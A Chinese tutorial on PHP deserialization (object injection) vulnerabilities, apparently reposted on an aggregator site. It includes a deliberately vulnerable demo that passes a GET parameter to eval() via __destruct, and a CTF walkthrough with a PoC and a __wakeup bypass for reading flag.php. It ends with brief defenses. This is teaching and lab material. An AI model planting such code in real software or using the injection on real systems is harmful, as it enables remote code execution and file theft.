反序列化漏洞笔记

news2024/11/27 18:29:50

1 PHP 序列化基础概念

1.1 什么是序列化

序列化可以实现将对象压缩并格式化,方便数据的传输和存储。

为什么要序列化?

PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。

学习序列化要了解的基本内容。

类(Class): 类的定义包含了数据的形式以及对数据的操作。

对象:对象是类的实例。

方法:类中定义的函数。#下面这个序列化的实例中我们没有用到,魔术方法小节中详解。

PHP 序列化函数

serialize() //将一个对象转换成一个字符串

┌──(root㉿xuegod52)-[~]
└─#  cd /var/www/html/
└─#  vim serialize.php
<?php
//创建一个类 Test
 class Test
 {
//定义 3 个属性,最后序列化后看一下这 3 个属性序列化后的结果。
 private $a = "private";
 public $b = "public";
 protected $c = "protected";
 }
//创建一个对象,对象是类的实例。
 $test = new Test();
//序列化 test 这个对象
 $data = serialize($test);
//打印序列化后的对象
 echo $data;
?>

扩展:

属性:属性就是变量,但是定义在类中我们可以给变量设置一些权限。

Public(公开): 可以自由的在类的内部外部读取、修改。

Private(私有): 只能在这个当前类的内部读取、修改。

Protected(受保护):能够在这个类和类的子类中读取和修改。

访问:http://192.168.135.130/serialize.php

O:4:"test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}

注:

O:4:"test" #O→Object(对象)4→对象名称长度为 4 个字符

3 对象属性个数为 3

{s:7:"Testa";s:7:"private";

s=string 7=Testa 字节数,Testa 的属性为 private,所以会在 Test 左右各添加一个空白字符,所以长度为 7,第二个值为 Testa 的值 s=string 7=private 字节长度,private 类型的属性名称为类名称+属性名称也就是 Test+a,例如 0x00Test0x00a

s:1:"b";s:6:"public";

public 类型的就比较正常 s=string 1=b 字节长度

s:4:"*c";s:9:"protected";}

protected 有点区别 s=string 4=*d protected 则会在属性名称 d 前面加*号然后*的左右各一个

空白字节,例如 0x00*0x00d

小结:

序列化就是把对象转换为字符串进行存储或传输

1.2 什么是反序列化

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

PHP 反序列化函数

unserialize() //将字符串还原成一个对象

这是我们前面把对象序列化后的结果,我们将对这个序列化后的字符串进行反序列化还原成对象。

O:4:"Test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}

┌──(root㉿xuegod52)-[~]
└─#  vim unserialize.php
<?php
//定义 data 变量为序列化之后的对象。
 $data = 'O:4:"Test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:6:"public";s:4:" *
c";s:9:"protected";}';
//使用 unserialize 将序列化后的字符串进行反序列化
 $test = unserialize($data);
//通过 var_dump 打印出 test 对象。此时 test 已经从字符串变成了一个对象。
 var_dump($test);
?>

访问页面:http://192.168.135.130/unserialize.php

或者输入php unserialize.php

修改序列化的属性值
┌──(root㉿xuegod52)-[/var/www/html]
└─# vim unserialize.php
<?php 
 $data = 'O:4:"Test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:10:"xuegodnice";s:4:" *
 c";s:9:"xuegod.cn";}';
 $test = unserialize($data);
 var_dump($test);
?>
修改属性 b 和属性 c 的值为 xuegodnice 和 xuegod.cn。注意修改后的字符串长度要和序列化中定
义的字符长度一致。比如 b 的 s:10 则 xuegodnice 为 10 个字符。
访问页面:http://192.168.1.63/unserialize.php
object(__PHP_Incomplete_Class)#1 (4) {
 ["__PHP_Incomplete_Class_Name"]=>
 string(4) "Test"
 [" Test a"]=>
 string(7) "private"
 ["b"]=>
 string(10) "xuegodnice"
 [" * c"]=>
 string(9) "xuegod.cn
 }

访问页面:http://192.168.135.130/unserialize.php

或者输入php unserialize.php

小结:

修改序列化后的字符串等于修改了对象的属性。但是要注意修改后的字符串长度如果改变了同时要将前面的字符串长度也一并修改。也就是说如果我们用户可以自定义修改序列化后的字符串,我们就可以改变这个对象中的属性。

1.3 序列化-魔术方法

魔术方法介绍:

方法:类中定义的函数。

上面我们演示了如何进行序列化和反序列化,但是我们仅使用了属性,也就是变量,变量我们可以当做数据来看待,而编程就是对数据进行一些列的操作和处理,操作和处理数据的过程我们一般通过函数来定义,函数在面向对象编程中我们一般称之为方法,所以后续如果老师说到方法就等于说的是函数功能。

特殊的方法-魔术方法。

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是 PHP 内置的方法。

__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__wakeup() 使用 unserialize 时触发
__sleep() 使用 serialize 时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象作为函数调用时触发

更多魔术方法详见:PHP: 魔术方法 - Manual

┌──(root㉿xuegod52)-[/var/www/html]
└─#vim magic.php
<?php
//创建 test 类
class test{
//属性$varr1=free
public $varr1="free";
//自定义方法 echovarr1
public function echovarr1(){
 echo $this->varr1." in echovarr1()<br>";
}
//以下是常用的魔术方法
public function __construct(){
 echo "__construct 当一个对象创建时被调用<br>";
}
public function __destruct(){
echo "__destruct 当一个对象销毁时被调用<br>";
}
public function __toString(){
 return "__toString 把类当作字符串使用时触发,返回值需要为字符串<br>";
}
public function __sleep(){
 echo "__sleep 使用 serialize 时触发<br>";
 return array('varr1');
}
public function __wakeup(){
 echo "__wakeup 使用 unserialize 时触发<br>";
}
}
//实例化对象,调用__construct()方法,输出__construct
$xuegod = new test(); 
//调用 echovarr1()方法,输出 varr1 "free"
$xuegod->echovarr1(); 
//$xuegod 对象被当做字符串输出,调用__toString()方法,输出__toString
echo $xuegod; 
//$xuegod 对象被序列化,调用__sleep()方法,输出__sleep
$s =serialize($xuegod); 
//$s 首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用
_toString()方法。
echo unserialize($s); 
//脚本结束会调用__destruct()方法,输出__destruct
//由于反序列化相当于又创建了一个对象,所以脚本结束后会输出两次__destruct
?>

访问 web 页面: http://192.168.1.63/magic.php

通过 magic.php 页面我们可以判断出魔术方法的触发顺序。

小结:

魔术方法是 PHP 内置的方法,对象通过特定的触发方式来执行魔术方法。也可直接调用用户自定义的方法

1.4 序列化漏洞的原理

当用户的请求在传给反序列化函数 unserialize()之前没有被正确的过滤时就会产生漏洞。因为 PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终导致一个在该应用范围内的任意 PHP 对象注入。

反序列化漏洞出现需要满足两个条件:

1. unserialize 时参数用户可控

2. 参数被传递到方法中被执行,并且方法中使用了危险函数。

什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。

┌──(root㉿xuegod52)-[/var/www/html]
└─# vim demo.php
<?php
class Test{
 var $free = "demo";
 function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句
 @eval($this->free);
 }
}
$free = $_GET['free'];
$len = strlen($free)+1;
//构造序列化对象
$ser = "O:4:\"Test\":1:{s:4:\"free\";s:".$len.":\"".$free.";\";}";
// 反序列化同时触发_destruct 函数
$xuegod = unserialize($ser); 
?>

用户提交的参数作为序列化后的字符串参数,进行反序列化时触发__destruct()魔术方法,而魔术方法中使用危险函数 eval(),$this->free 可以调用对象中的 free 属性,所以使 $free = "phpinfo();";而 @eval($this->free); 则执行 free 属性中的 php 代码。

访问页面:http://192.168.135.130/demo.php?free=phpinfo()

小结:

Demo.php 这个案例就是一个最基础的反序列化漏洞的例子,它具备了 unserialize 参数可控,由魔术方法自动触发执行危险代码。

2 反序列化漏洞实例-ctf

上传 ctf.tar.gz 文件

┌──(root㉿xuegod52)-[/var/www/html]
└─#tar xf ctf.tar.gz -C /var/www/html/

访问题目页面:http://192.168.135.130/ctf.php

可以看到页面通过 show_source 打印了 ctf.php 的源码,所以题目一定是要我们做代码审计,图中标注的两处位置是我们反序列化漏洞的两个必要因素,unserialize 参数可控,show_source 危险函数。

解题思路

第一:通过 GET 方式传参序列化后的字符串作为 file 变量的值给 ctf.php

第二:通过我们构造的 file 变量的序列化字符串让 show_source($this->file)最终的执行结果为show_source(flag.php);

首先我们要构造参数,file 参数是要经过反序列化的,那么我们需要写个 Poc 来生成一段序列化的字符串。把源代码中的类复制出来新建一个 poc.php 将其序列化输出。

Poc 我们在 kali 中创建,不要在运行 ctf.php 的主机上创建,否则引用了 flag.php 之后序列化时会打印出 flag.php。

┌──(root㉿xuegod52)-[/var/www/html]
└─# systemctl start apache2
┌──(root㉿xuegod52)-[/var/www/html]
└─#vim /var/www/html/poc.php
<?php
class xuegod{
    //修改 file=flag.php
    private $file='flag.php';
     function __destruct(){
        if(!empty($this->file))
            {
        show_source($this->file);
            }
         }
        function __wakeup(){
            $this->file='ctf.php';
        }
        }
$free = new xuegod();
$s = serialize($free);
echo $s;
?>

访问 poc 页面获取序列化字符串:http://192.168.135.130/poc.php以及flag

小结:

1. 绕过__wakeup()的方法为修改属性数量,只要大于类中的数量即可绕过。

  1. 属性字段的长度要匹配,而且根据属性类型来添加空白字符。并修改字段类型为 S。

3 反序列化漏洞修复和防御

针对unserialize和Magic函数审计

对用户输入的内容过滤

白名单,限制反序列化的类;不能动态传参

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1587268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux:Redis7.2.4的源码包部署(2)

本章使用的是centos9进行部署 1.获取rpm安装包 Index of /releases/ (redis.io)https://download.redis.io/releases/这个网站有历史的版本&#xff0c;我这里使用的是最新版7.2.4进行安装 点击即可进行下载 方进Linux中&#xff0c;如果你的Linux中可以直接使用wget去下载 2…

如何排查k8s集群中Pod内mysqld进程占用内存消耗过高?

文章目录 1. **查看容器资源使用情况**&#xff1a;2. **进入容器内部**&#xff1a;3. **检查进程内存使用**&#xff1a;4. **MySQL服务器状态检查**&#xff1a;5. **MySQL日志分析**&#xff1a;6. **使用专门的MySQL监控工具**&#xff1a;7. **配置文件检查**&#xff1a…

视频基础学习五——视频编码基础二(编码参数帧、GOP、码率等)

系列文章目录 视频基础学习一——色立体、三原色以及像素 视频基础学习二——图像深度与格式&#xff08;RGB与YUV&#xff09; 视频基础学习三——视频帧率、码率与分辨率 视频基础学习四——视频编码基础一&#xff08;冗余信息&#xff09; 视频基础学习五——视频编码基础…

Redis从入门到精通(十三)Redis分布式缓存(一)RDB和AOF持久化、Redis主从集群的搭建与原理分析

文章目录 第5章 Redis分布式缓存5.1 Redis持久化5.1.1 RDB持久化5.1.1.1 执行时机5.1.1.2 bgsave原理 5.1.2 AOF持久化5.1.2.1 AOF原理5.1.2.2 AOF配置5.1.2.3 AOF文件重写 5.1.3 RDB和AOF的对比 5.2 Redis主从5.2.1 搭建主从结构5.2.2 主从数据同步原理5.2.2.1 全量同步5.2.2.…

基于WEB的水库水情自动测报系统的研究与设计(论文+源码)_kaic

摘要 水情信息是水利管理最重要的基础信息&#xff0c;是水文预报、水资源管理、防汛抗旱决策的主要依据。水情自动测报系统是一个自动采集、传输、处理水情信息的实时测报系统&#xff0c;可对水库流域内的水情、水文和气象数据&#xff0c;如雨量、流量、水位等&#xff0c;实…

opc ua 环境构建(记录一)

1、准备 Siemens Simatic WinCC v7.5 二、配置 SIMATIC NET与S7-200 SMART 集成以太网口OPC 通信(TIA平台) 硬件: ①S7-200 SMART ②PC 机 ( 集成以太网卡) 软件: ① STEP 7-Micro/WIN SMART V2.1 ② STEP 7 Professional(TIA Portal V13 SP1 Upd 9) ③ SIMATIC NET …

Nginx的基本使用

目录 介绍Nginx&#xff1a; 其优点有很多&#xff1a; 如何下载Nginx&#xff1a; 下载Nginx 启动Nginx ​编辑 如何用Nginx创建网站 Nginx自带的网站 分析网页 转变ip地址为自己的网页 换内容 换文件 介绍Nginx&#xff1a; Nginx是一个高性能的HTTP和反向代理w…

Ubuntu (Linux系统) 下载安装 Qt 环境

在官网http://download.qt.io/archive/qt/ 下载安装包&#xff0c;默认linux平台下提供的安装包以run后缀结尾 也可以选择其它地址下载 Qt官网下载地址&#xff1a;https://download.qt.io&#xff1b; 国内镜像下载地址&#xff1a;https://mirrors.cloud.tencent.com/qt/ 。建…

Scrapy框架内存泄漏问题及解决

说明&#xff1a;仅供学习使用&#xff0c;请勿用于非法用途&#xff0c;若有侵权&#xff0c;请联系博主删除 作者&#xff1a;zhu6201976 一、问题背景及原因 官方文档&#xff1a;Debugging memory leaks — Scrapy 2.11.1 documentation Scrapy是一款功能强大的网络爬虫框…

4.11java学习总结

File 创建file类的方法 import java.io.File;public class Main {public static void main(String[] args) {String l "D:\\text.txt";String l1 "D:\\";String l2 "test.txt";File f1 new File(l);System.out.println(f1);File f2 new Fi…

力扣HOT100 - 48. 旋转图像

解题思路&#xff1a; 要求原地旋转 可以先上下翻转&#xff0c;再沿主对角线反转&#xff08;左上到右下的对角线&#xff09; class Solution {public void rotate(int[][] matrix) {int n matrix.length;// 上下翻转for (int i 0; i < n / 2; i) {for (int j 0; j &…

systemctl start docker报错(code=exited, status=1/FAILURE)

运行systemctl start docker报错内容如下: 输入systemctl status docker.service显示以下内容&#xff1a; 本次启动不起来与docker服务无关 具体解决问题是修改 /etc/docker/daemon.json&#xff0c;vim /etc/docker/daemon.json # 添加如下内容 {"registry-mirrors&qu…

Windows和Linux环境下忘记MySQL密码的解决办法

文章目录 一、Linux下MySQL忘记root密码情景再现1、停止MySQL服务2、安全模式启动MySQL服务&#xff0c;并暂时跳过权限表验证以及禁用网络连接3、更新mysql.user表中root用户的密码。4、刷新MySQL的权限缓存 二、Windows下MySQL忘记密码&#xff08;8.0以上版本&#xff09;情…

如何动态渲染HTML内容?用v-html!

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

二叉树的前序

1.递归 public boolean isSymmetric(TreeNode root) {if(root null){return true;}return deepCheck(root.left,root.right);}boolean deepCheck(TreeNode left, TreeNode right){//递归的终止条件是两个节点都为空//或者两个节点中有一个为空//或者两个节点的值不相等if(lef…

windows下pycharm中配置conda虚拟环境

目录 一&#xff1a;背景 二&#xff1a;安装conda环境 三&#xff1a;pycharm配置环境 四&#xff1a;注意问题 一&#xff1a;背景 在使用python的过程中&#xff0c;我们可能需要在一个windows环境中创建多个版本的python和安装不同的库去做一些开发任务。 使用conda&a…

电脑无法开机?原因分析与解决方案

电脑无法开机是一种常见的问题&#xff0c;可能会给用户带来诸多困扰。无法启动可能是由于硬件故障、软件问题或者其他未知原因引起的。在本文中&#xff0c;我们将介绍三种常见的方法来解决电脑无法开机的问题&#xff0c;以帮助用户尽快恢复正常使用。 方法1&#xff1a;检查…

永磁同步电机无感FOC(扩展卡尔曼滤波EKF位置观测控制)

文章目录 1、前言2、扩展卡尔曼滤波器原理2.1 预测阶段&#xff08;时间更新阶段&#xff09;2.2 校正阶段&#xff08;状态更新阶段&#xff09; 3、永磁同步电机EKF的模型4、永磁同步电机EKF的无位置状态观测仿真4.1 核心模块&#xff08;在滑膜、龙伯格、磁链等观测器基础上…

Redis(一) Redis简介

Redis&#xff0c;全名Remote Dictionary Server&#xff0c;是一种开源的、基于内存的数据结构存储系统&#xff0c;它可以用作数据库、缓存和消息中间件。Redis支持多种数据结构&#xff0c;如字符串&#xff08;strings&#xff09;、哈希&#xff08;hashes&#xff09;、列…

前端学习之路-项目实战(1)

每日吐槽&#xff1a;有一个奇怪的问题&#xff0c;怎么一眼看出一个求职者是否是培训班出来的&#xff0c;有的求职上写着&#xff0c;希望大家坦诚一点&#xff0c;but&#xff0c;你这艘诚实的泰坦尼克号终究还是撞上了社会阴暗面的冰山&#xff0c;OMG&#xff0c;不让包装…